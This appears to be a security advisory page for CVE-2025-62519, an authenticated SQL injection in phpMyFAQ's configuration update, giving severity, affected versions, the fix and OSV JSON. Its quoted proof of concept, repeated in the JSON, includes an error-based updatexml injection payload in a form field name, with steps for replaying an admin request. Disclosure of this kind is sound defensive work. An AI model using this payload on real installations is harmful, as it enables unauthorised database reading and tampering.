CVE-2025-62519: Thorsten/phpmyfaq SQL Injection Vulnerability

HIGH
Advisory Identifier: GHSA-fxm2-cmwj-qvx4
CVSS 7.2
CWE-89
Published
Advisory Summary

CVE-2025-62519 is a HIGH (CVSS 7.2) sql injection vulnerability (CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')) affecting Thorsten/phpmyfaq libraries in the Packagist ecosystem. The issue involves phpmyfaq has authenticated sql injection in configuration update functionality. Remediation is available by upgrading affected packages to version 4.0.14.

CVE-2025-62519 at a Glance

CVE Identifier CVE-2025-62519
GHSA Identifier GHSA-fxm2-cmwj-qvx4
Severity HIGH
CVSS v3.1 Base Score 7.2
CWE Classification CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
Affected Product Thorsten/phpmyfaq
Package Ecosystem Packagist
Published Date
Last Updated

Security Impact

CVSS: 7.2

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required High (PR:H)
User Interaction None (UI:N)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability High (A:H)

How to Fix CVE-2025-62519

To remediate this vulnerability, upgrade all affected Thorsten/phpmyfaq dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

thorsten/phpmyfaq fixed: 4.0.14
Upgrade thorsten/phpmyfaq to 4.0.14
phpmyfaq/phpmyfaq fixed: 4.0.14
Upgrade phpmyfaq/phpmyfaq to 4.0.14
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for thorsten/phpmyfaq

How to Check if You Are Affected

To determine whether your application is affected by CVE-2025-62519, inspect your project dependencies for Thorsten/phpmyfaq:

inspect dependencies for thorsten/phpmyfaq

Analyze the terminal output to locate any version of Thorsten/phpmyfaq in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 4.0.14), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection'), where the product constructs all or part of an sql command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended sql command when it is sent to a downstream component. without sufficient removal or quoting of sql syntax in user-controllable inputs, the generated sql query can cause those inputs to be interpreted as sql instead of ordinary user data. In Thorsten/phpmyfaq, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary An authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration. ### Details The vulnerability exists in the `save` method within the `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php` controller. This method handles the saving of application-wide configuration settings. It retrieves all submitted form data as an associative array via `$request->get('edit')`. The core of the issue is that while the *values* of this array are processed, the *keys* are trusted implicitly and are not sanitized or validated. **File:** `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php` ```php // ... public function save(Request $request): JsonResponse { $this->userHasPermission(PermissionType::CONFIGURATION_EDIT); $configurationData = $request->get('edit'); // ... foreach ($configurationData as $key => $value) { // The key from the user input is used to build the $newConfigValues array. $newConfigValues[$key] = (string) $value; // ... } // ... // The array, containing user-controlled keys, is passed to the model. $this->configuration->update($newConfigValues); return $this->json(['success' => Translation::get('ad_config_saved')], Response::HTTP_OK); } ``` The `$newConfigValues` array, which contains user-controlled keys, is then passed to the `update` method in the `src/phpMyFAQ/Configuration.php` model. Here, the key (`$name`) is directly concatenated into a raw SQL query string. **File:** `src/phpMyFAQ/Configuration.php` ```php public function update(array $newConfigs): bool { // ... foreach ($newConfigs as $name => $value) { if ($name != 'main.phpMyFAQToken' && !in_array($name, $runtimeConfigs)) { // VULNERABLE CODE: The array key '$name' is not escaped and is directly // concatenated into the SQL query string. The value is escaped, but not the name. $update = sprintf( "UPDATE %s%s SET config_value = '%s' WHERE config_name = '%s'", Database::getTablePrefix(), $this->tableName, $this->getDb()->escape(trim($value)), $name ); $this->getDb()->query($update); // ... } } return true; } ``` An attacker can craft a malicious form parameter name (which becomes the array key) to break out of the single quotes in the `WHERE` clause and inject arbitrary SQL commands. ### PoC (Proof of Concept) **Prerequisites:** 1. A running instance of phpMyFAQ (v4.0.13 confirmed vulnerable). 2. An authenticated user session with permissions to edit the configuration. **Execution:** Due to the application's CSRF protection, the easiest way to reproduce this is by capturing a legitimate request to save the configuration and modifying it using a proxy tool like Burp Suite's Repeater. 1. Log in as an administrator and navigate to **Administration** -> **Configuration**. 2. Make a trivial change (e.g., toggle a setting) and click "Save configuration". Capture this `POST` request to `/admin/api/configuration`. 3. Send the captured request to Repeater. The request will contain a valid `Cookie` header and a `pmf-csrf-token` parameter. 4. Modify the request body to inject a malicious key. Add a new `multipart/form-data` part with a crafted `name` attribute. **Example Malicious Request Body Part (Error-Based):** ``` ------WebKitFormBoundaryRandomString Content-Disposition: form-data; name="edit[dummykey' and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0, 1), 0x7e), 1) and '1]" true ------WebKitFormBoundaryRandomString ``` *Note: You must also include the `pmf-csrf-token` part from the original request in the body.* **Result:** The server will respond with a `500 Internal Server Error`, and the body of the response will contain a database error message, confirming the SQL injection. The leaked data will be present within the error string. ``` An error occurred: XPATH syntax error: '~faq_faqadminlog~' at line 311 at /var/www/html/src/phpMyFAQ/Database/Mysqli.php ``` This error confirms the successful execution of the injected `updatexml` payload, which has extracted and revealed the name of the first table in the database (`faq_faqadminlog`). Time-based blind techniques can also be used to extract data without relying on error messages.

CVE-2025-62519 Affected Thorsten/phpmyfaq Versions

2 component(s)
Fixed Versions:
4.0.14
Product / Package Ecosystem Affected Versions Fixed Version
thorsten/phpmyfaq
Packagist
< 4.0.14
4.0.14
phpmyfaq/phpmyfaq
Packagist
< 4.0.14
4.0.14

References

Frequently Asked Questions

What is CVE-2025-62519?
CVE-2025-62519 is a security vulnerability in Thorsten/phpmyfaq involving phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection').
Which Thorsten/phpmyfaq versions are affected?
Affected versions include releases prior to 4.0.14 across affected packages: thorsten/phpmyfaq, phpmyfaq/phpmyfaq.
What version fixes CVE-2025-62519?
Upgrading to 4.0.14 (or the latest patched release for your respective branch) resolves the vulnerability.
Is thorsten/phpmyfaq affected?
Yes, thorsten/phpmyfaq is affected in releases prior to 4.0.14. Upgrade your dependency to 4.0.14 or later.
Is phpmyfaq/phpmyfaq affected?
Yes, phpmyfaq/phpmyfaq is affected in releases prior to 4.0.14. Upgrade your dependency to 4.0.14 or later.
What is the CVSS score of CVE-2025-62519?
CVE-2025-62519 has a CVSS v3.1 base score of 7.2 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H.
What CWE is associated with CVE-2025-62519?
CVE-2025-62519 is classified under CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection') (The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.).
How can I check Packagist dependencies for CVE-2025-62519?
Run the dependency tree command: 'inspect dependencies for thorsten/phpmyfaq'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-fxm2-cmwj-qvx4",
  "modified" : "2025-11-17T18:57:46Z",
  "published" : "2025-11-17T17:37:37Z",
  "aliases" : [ "CVE-2025-62519" ],
  "summary" : "phpMyFAQ has Authenticated SQL Injection in Configuration Update Functionality",
  "details" : "### Summary\n\nAn authenticated SQL injection vulnerability in the main configuration update functionality of phpMyFAQ (v4.0.13 and prior) allows a privileged user with 'Configuration Edit' permissions to execute arbitrary SQL commands. Successful exploitation can lead to a full compromise of the database, including reading, modifying, or deleting all data, as well as potential remote code execution depending on the database configuration.\n\n### Details\n\nThe vulnerability exists in the `save` method within the `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php` controller. This method handles the saving of application-wide configuration settings. It retrieves all submitted form data as an associative array via `$request->get('edit')`.\n\nThe core of the issue is that while the *values* of this array are processed, the *keys* are trusted implicitly and are not sanitized or validated.\n\n**File:** `src/phpMyFAQ/Controller/Administration/ConfigurationTabController.php`\n```php\n// ...\npublic function save(Request $request): JsonResponse\n{\n    $this->userHasPermission(PermissionType::CONFIGURATION_EDIT);\n\n    $configurationData = $request->get('edit');\n    // ...\n    \n    foreach ($configurationData as $key => $value) {\n        // The key from the user input is used to build the $newConfigValues array.\n        $newConfigValues[$key] = (string) $value;\n        // ...\n    }\n\n    // ...\n    // The array, containing user-controlled keys, is passed to the model.\n    $this->configuration->update($newConfigValues);\n\n    return $this->json(['success' => Translation::get('ad_config_saved')], Response::HTTP_OK);\n}\n```\n\nThe `$newConfigValues` array, which contains user-controlled keys, is then passed to the `update` method in the `src/phpMyFAQ/Configuration.php` model. Here, the key (`$name`) is directly concatenated into a raw SQL query string.\n\n**File:** `src/phpMyFAQ/Configuration.php`\n```php\npublic function update(array $newConfigs): bool\n{\n    // ...\n    foreach ($newConfigs as $name => $value) {\n        if ($name != 'main.phpMyFAQToken' && !in_array($name, $runtimeConfigs)) {\n            // VULNERABLE CODE: The array key '$name' is not escaped and is directly\n            // concatenated into the SQL query string. The value is escaped, but not the name.\n            $update = sprintf(\n                \"UPDATE %s%s SET config_value = '%s' WHERE config_name = '%s'\",\n                Database::getTablePrefix(),\n                $this->tableName,\n                $this->getDb()->escape(trim($value)),\n                $name\n            );\n\n            $this->getDb()->query($update);\n            // ...\n        }\n    }\n\n    return true;\n}\n```\nAn attacker can craft a malicious form parameter name (which becomes the array key) to break out of the single quotes in the `WHERE` clause and inject arbitrary SQL commands.\n\n### PoC (Proof of Concept)\n\n**Prerequisites:**\n1.  A running instance of phpMyFAQ (v4.0.13 confirmed vulnerable).\n2.  An authenticated user session with permissions to edit the configuration.\n\n**Execution:**\nDue to the application's CSRF protection, the easiest way to reproduce this is by capturing a legitimate request to save the configuration and modifying it using a proxy tool like Burp Suite's Repeater.\n\n1.  Log in as an administrator and navigate to **Administration** -> **Configuration**.\n2.  Make a trivial change (e.g., toggle a setting) and click \"Save configuration\". Capture this `POST` request to `/admin/api/configuration`.\n3.  Send the captured request to Repeater. The request will contain a valid `Cookie` header and a `pmf-csrf-token` parameter.\n4.  Modify the request body to inject a malicious key. Add a new `multipart/form-data` part with a crafted `name` attribute.\n\n**Example Malicious Request Body Part (Error-Based):**\n\n```\n------WebKitFormBoundaryRandomString\nContent-Disposition: form-data; name=\"edit[dummykey' and updatexml(1, concat(0x7e, (SELECT table_name FROM information_schema.tables WHERE table_schema = database() LIMIT 0, 1), 0x7e), 1) and '1]\"\n\ntrue\n------WebKitFormBoundaryRandomString\n```\n*Note: You must also include the `pmf-csrf-token` part from the original request in the body.*\n\n**Result:**\nThe server will respond with a `500 Internal Server Error`, and the body of the response will contain a database error message, confirming the SQL injection. The leaked data will be present within the error string.\n\n```\nAn error occurred: XPATH syntax error: '~faq_faqadminlog~' at line 311 at /var/www/html/src/phpMyFAQ/Database/Mysqli.php\n```\n\nThis error confirms the successful execution of the injected `updatexml` payload, which has extracted and revealed the name of the first table in the database (`faq_faqadminlog`). Time-based blind techniques can also be used to extract data without relying on error messages.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "thorsten/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.14"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.13"
    }
  }, {
    "package" : {
      "ecosystem" : "Packagist",
      "name" : "phpmyfaq/phpmyfaq"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "4.0.14"
      } ]
    } ],
    "database_specific" : {
      "last_known_affected_version_range" : "<= 4.0.13"
    }
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/security/advisories/GHSA-fxm2-cmwj-qvx4"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-62519"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/thorsten/phpMyFAQ"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/thorsten/phpMyFAQ/compare/4.0.13...4.0.14"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-89" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2025-11-17T17:37:37Z",
    "nvd_published_at" : "2025-11-17T17:15:50Z"
  }
}